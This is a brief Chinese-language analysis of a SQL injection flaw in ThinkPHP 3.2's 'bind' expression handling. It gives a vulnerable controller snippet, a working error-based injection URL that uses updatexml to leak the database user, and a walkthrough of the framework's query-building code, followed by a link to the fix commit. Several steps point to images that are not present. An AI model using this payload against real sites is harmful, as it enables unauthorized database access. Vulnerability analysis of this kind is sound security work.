漏洞代碼:
public function test01()
{
$User = M("user");
$user['id'] = I('id');
$data['password'] = I('password');
$value = $User->where($user)->save($data);
var_dump($value);
}
payload:http://tp32.com/index.php/home/index/test01?id[0]=bind&id[1]=0%20and%20(updatexml(1,concat(0x7e,user(),0x7e),1))&pwd=bbb

漏洞分析:
老樣子先進入where方法中進行參數構造


然后進入 save 方法中 _parseOptions 進行字段驗證


然后重點 出來了之后 進入到 update 方法中

先是進行參數綁定

然后進行 parseWhere

再進入 parseWhereItem where子單元分析

其中到來 bind表達式的處理分支,拼接=:

此時的語句為如下

出來之后 繼續進入到 execute 方法中,重點來了


雖然上面bind表達式進行了拼接=:,但是這個strtr函數會進行處理,最后語句成為如下

修復:
https://github.com/top-think/thinkphp/commit/7e47e34af72996497c90c20bcfa3b2e1cedd7fa4

